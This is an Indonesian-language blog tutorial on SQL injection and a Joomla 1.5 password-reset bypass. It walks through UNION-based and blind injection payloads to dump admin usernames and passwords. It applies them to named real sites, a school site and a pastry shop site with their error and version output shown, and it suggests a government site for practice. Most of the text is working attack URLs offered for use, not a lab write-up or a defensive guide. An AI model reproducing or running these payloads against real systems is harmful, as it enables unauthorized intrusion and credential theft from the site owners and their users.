Monday, February 8, 2010

My SQL Injection Step by Step

Pengertian sql injection:

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:

karakter: ' atau -

comments: /* atau --

information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x



===========

=step Satu:=

===========



carilah target

misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.

contoh:

[site]/berita.php?id=100' atau

[site]/berita.php?id=-100

ehingga muncul pesan error seperti berikut (masih bnyak lagi):



==========

=step Dua:=

==========

mencari dan menghitung jumlah table yang ada dalam databasenya...

gunakan perintah : order by



contoh:

[site]/berita.php?id=-100+order+by+1-- atau

[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...

misal:

[site]/berita.php?id=-100+order+by+1--

[site]/berita.php?id=-100+order+by+2--

[site]/berita.php?id=-100+order+by+3--

[site]/berita.php?id=-100+order+by+4--



sehingga muncul error atau hilang pesan error...

misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8

menjadi [site]/berita.php?id=-100+order+by+8--



===========

=step Tiga:=

===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union

karena tadi error sampai angka 9

maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi

misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau

[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..



============

=step Empat:=

============

untuk menampilkan table yg ada pada web tsb adalah

perintah table_name >>> dimasukan pada angka yg keluar tadi

perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir



Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"



===========

=step Lima:=

===========



untuk menampilkan semua isi dari table tsb adalah

perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi

perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============

= step Enam: =

=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi

perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema ​.columns+where+table_name=0xhexa--



pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya

website yg digunakan untuk konversi :

http://www.v3n0m.net/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema ​.columns+where+table_name=0x61646D696E--

============

=step Tujuh:=

============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi

perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--



==============

= step Delapan:=

==============



tahap terakhir mencari halam admin atau login .





BLIND SQL INJECTION



kembali lagi akh..udah janji ni..wkwkwkwk..

mari kita membahas tentang Blind SQL Injection..

Apa sich Blind SQL Injection tu?

Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...

disini GT memakai command :

mid()= hampir sama fungsinya dengan substring() char()= adalah peubah dari karakter

lanjut..

ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg.. kalau version 4..kita memakai blind,karena v4 tidak support query information_schema

kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw

lanjut...

Target: www.smanti.com (thx to bejamz udah ngasih target :)

1.PENGETESAN BUG

Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1

www.smanti.com/berita.php?id=5 and 1=0 <<
www.smanti.com/berita.php?id=5 and 1=1 <<
eh ternyata ada bug nya...

lanjut....

2.BLIND INJECT

Query yg dipakai: and mid(user(),1,1)=CHAR(65)

saya jelaskan sedikit deh..

mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut

sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut. kenapa kita mulai dengan 65 ? karena "65" adalah "A" dalam ascii...

lanjut..

mari kita masukkan

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)

ternyata hasilnya masih false (beritanya hilang)

berarti value yg kita masukkan salah..

tinggal tambah value na..jadi..

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <
dst sampe kita menemukan keadaan true(beritanya muncul kembali)

kebetulan ada di char(83)

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <
cape?masih kuat?hahaha..trial n error...

lanjut..

kita tambain value na..

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

adakah perbedaan nya?

yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..

gini nih..

1,1 = value pertama user 1,2 = value kedua user 1,3 = value ketiga user dst dan 83 adalah nilai true,lalu kita tambahkan..

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)

dst.. sampe dpet yg true..

ternyata yg true ngumpet di value 77

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)

lanjutin trus langkah2na..

cari value k 3 user..

www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)

eh langsung ktemu..hehehe..

lanjut value k 4..

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)



www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)

ternyata ktemu di value 78..

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)

lanjut trus aja...

cape gw..

pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table

www.piclist.com/techref/ascii.htm

stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN

nah udah hampir ktebak user name nya..kerjain ndiri y..okey

nah..gmana kalo mw dapet password na?

kita rubah value user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..

jadi

www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)

cari lagi..sama kayak cari user tadi..harus sabar..

ulangi sampai dapat true ..

tambain value na..wkwkwkw..

dan rubah value database() untuk mencari value lainnya..

hingga mendapat admin password dan db password .

metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)

akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...

okey sampe sini aja ah..cape ngetik..wkwkwkw

slamat mencoba wkwkwkw...

Thanks smua..duduw..wkwkw sekian...



buat latihan>> www.dkp.go.id/content.php?c=5161

wkwkwkwkw awas situs negara...

================================================================================ ​=======



(Kebanyakan Toko OL Pake Asp ini Lo Bro)

Vuln Site

Code:
http://www.astoriapastryshop.com/Product_Des.asp?ProductID=-33
Tambahi Syntak apa kek misal ' / = Having Error Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/Product_Des.asp, line 11



Lanjut Ke Tahap Kedua
Code:
http://www.astoriapastryshop.com/Product_Des.asp?ProductID=-33+union+select+1,2,3,4--
angka Togelna 3 kan Kita Cek Versinya Dolo angka Togel /visible Colom dirubah
Code:
http://www.astoriapastryshop.com/Product_Des.asp?ProductID=-33+union+select+1,@@VERSION,3,4--
Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright © 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)



Oke Tahap Ketiga Schema Databesna :))
Code:
http://www.astoriapastryshop.com/Product_Des.asp?ProductID=-33+union+select+all+1,column_name,table_name,4+from+information_schema.columns--




Keluar Semua Kan Bantai Ajah Kali2 Ja Da Yang Menarik :))



alah joomla versi 1.5

dork yang dipake yaitu option=com_user nanti kalau sudah dapat target, misalkan targetnya adalah :

http://target.com/index.php?option=com_user&view=reset atau

http://target.com/index.php?option=com_user&view=reset atau

http://target.com/index.php?option=com_u...w=register atau

http://target.com/index.php?option=com_user&view=login atau

http://target.com/index.php?option=com_user&view=remind



maka yang harus dilakukan adalah mengganti view dengan mengganti view=reset dan layout=confirm jadi contohnya adalah : http://target.com/index.php?option=com_u...ut=confirm

nah... dari situ nantinya akan keluar form token, ngga perlu bingung kalo ngga tau harus input apa, tinggal masukin kutip satu (') , kalau web tersebut belom di patch, maka akan masuk kedalam menu reset password

tinggal masukin aja deh password yang diinginkan, beres.

oke, tahap selanjutnya adalah dengan masuk kedalam menu administrator, misalkan http://target.com/administrator

nah, tinggal masukin deh username "admin" atau "administrator" dan password dengan password yang barusan diganti tadi. selesai.

gampang kan ? ayo, majukan kemampuan hacker indonesia !!!


Mohon maaf kepada master master, kalau ada salah salah kata..
----------------------------------------

No comments:

Post a Comment

your comment